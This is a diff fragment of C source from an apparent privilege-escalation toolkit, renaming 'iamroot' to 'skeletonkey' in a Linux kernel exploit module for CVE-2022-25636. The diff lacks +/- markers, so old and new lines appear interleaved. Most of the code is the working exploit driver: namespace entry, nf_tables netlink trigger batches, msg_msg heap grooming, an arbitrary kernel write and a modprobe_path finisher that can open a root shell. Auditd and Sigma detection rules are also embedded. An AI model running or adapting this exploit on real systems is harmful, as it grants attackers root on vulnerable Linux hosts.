* NEWTABLE netdev "iamroot_fdt"
* NEWTABLE netdev "skeletonkey_fdt"
* NEWCHAIN base chain on ingress, family=netdev,
* flags = NFT_CHAIN_HW_OFFLOAD critical: this is what
* drives nft_flow_rule_create() to call the offload hooks
@@ -355,8 +345,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
* the adjacent kmalloc-512 chunk. Boom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
@@ -513,7 +503,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
memset(&p, 0, sizeof p);
p.mtype = 0x46;
memset(p.mtext, 0xAA, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD", 11);
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
int created = 0;
@@ -585,7 +575,6 @@ static int bring_lo_up(void)
return 0;
}
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
{
size_t off = 0;
@@ -596,7 +585,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
put_batch_end(batch, &off, (*seq)++);
return off;
}
#endif
/* ------------------------------------------------------------------
* --full-chain arb-write context. The technique:
@@ -614,11 +602,9 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
* lockdep, KASAN can all shift it). We ship the layout for an
* un-randomized x86_64 build in the exploitable range and rely on
* the shared finisher's sentinel-file post-check to flag layout
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
#ifdef __linux__
#define SPRAY_QUEUES_ARB 32
struct fwd_arb_ctx {
@@ -646,7 +632,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' */
memset(p.mtext, 0x52, sizeof p.mtext);
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
/* Plant kaddr at strided 0x10-byte offsets across the first
@@ -721,38 +707,32 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Exploit driver.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 0: explicit user authorization. */
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Gate 1: already root? */
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
"refusing\n");
return pre;
}
#ifndef __linux__
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
@@ -768,28 +748,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: resolve offsets before forking ---------- *
* Refuse cleanly if we can't reach modprobe_path. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_fwd_dup");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
(void)bring_lo_up();
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -804,7 +784,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 32 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, &seq);
@@ -817,7 +797,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_fwd_dup: trigger batch send failed\n");
drain_msg_msg(qids, SPRAY_QUEUES_GROOM);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fwd_arb_ctx ac = {
@@ -828,7 +808,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_QUEUES_GROOM,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_fwd_dup_arb_write, &ac, !ctx->no_shell);
drain_msg_msg(qids, ac.qused);
@@ -839,7 +819,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger ---------------- */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: namespace + trigger. */
@@ -890,7 +870,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
if (after < 0) after = slab_active("kmalloc-cg-512");
/* Breadcrumb for triage. */
FILE *log = fopen("/tmp/iamroot-nft_fwd_dup.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_fwd_dup.log", "w");
if (log) {
fprintf(log,
"nft_fwd_dup trigger child: queues=%d slab-512 pre=%ld post=%ld\n",
@@ -919,7 +899,7 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -933,32 +913,30 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
" the kaddr-tagged forged-entry spray reaches\n"
" the shared modprobe_path finisher.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: trigger setup failed "
"(child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
#endif /* __linux__ */
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------
* Cleanup drain leftover sysv queues and unlink the breadcrumb.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
}
#ifdef __linux__
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
* key owned by us. SysV doesn't enumerate by key, but msgctl
* IPC_STAT walks /proc/sysvipc/msg to find them. */
@@ -979,13 +957,38 @@ static iamroot_result_t nft_fwd_dup_cleanup(const struct iamroot_ctx *ctx)
}
fclose(f);
}
#endif
if (unlink("/tmp/iamroot-nft_fwd_dup.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
* groom all Linux-only kernel surface. Stub out so the module still
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
"(nf_tables HW-offload OOB) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* Embedded detection rules.
* ------------------------------------------------------------------ */
@@ -995,16 +998,16 @@ static const char nft_fwd_dup_auditd[] =
"# Flag the canonical exploit shape: unprivileged userns followed\n"
"# by NEWTABLE/NEWCHAIN(NFT_CHAIN_HW_OFFLOAD)/NEWRULE traffic on\n"
"# AF_NETLINK NETLINK_NETFILTER, plus the msg_msg cross-cache spray.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k iamroot-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft-fwd-dup-spray\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-fwd-dup-userns\n"
"-a always,exit -F arch=b64 -S socket -F a0=16 -F a2=12 -k skeletonkey-nft-fwd-dup-netlink\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-nft-fwd-dup-batch\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft-fwd-dup-spray\n"
"# Post-exploit hallmarks (modprobe_path overwrite path):\n"
"-w /tmp/iamroot-mp- -p w -k iamroot-nft-fwd-dup-modprobe\n";
"-w /tmp/skeletonkey-mp- -p w -k skeletonkey-nft-fwd-dup-modprobe\n";
static const char nft_fwd_dup_sigma[] =
"title: Possible CVE-2022-25636 nft_fwd_dup_netdev_offload OOB exploitation\n"
"id: 3c1f9b27-iamroot-nft-fwd-dup\n"
"id: 3c1f9b27-skeletonkey-nft-fwd-dup\n"
"status: experimental\n"
"description: |\n"
" Detects unprivileged user namespace creation followed by\n"
@@ -1024,7 +1027,7 @@ static const char nft_fwd_dup_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
const struct iamroot_module nft_fwd_dup_module = {
const struct skeletonkey_module nft_fwd_dup_module = {
.name = "nft_fwd_dup",
.cve = "CVE-2022-25636",
.summary = "nft_fwd_dup_netdev_offload heap OOB write (Aaron Adams)",
@@ -1041,7 +1044,7 @@ const struct iamroot_module nft_fwd_dup_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_fwd_dup(void)
void skeletonkey_register_nft_fwd_dup(void)
{
iamroot_register(&nft_fwd_dup_module);
skeletonkey_register(&nft_fwd_dup_module);
}

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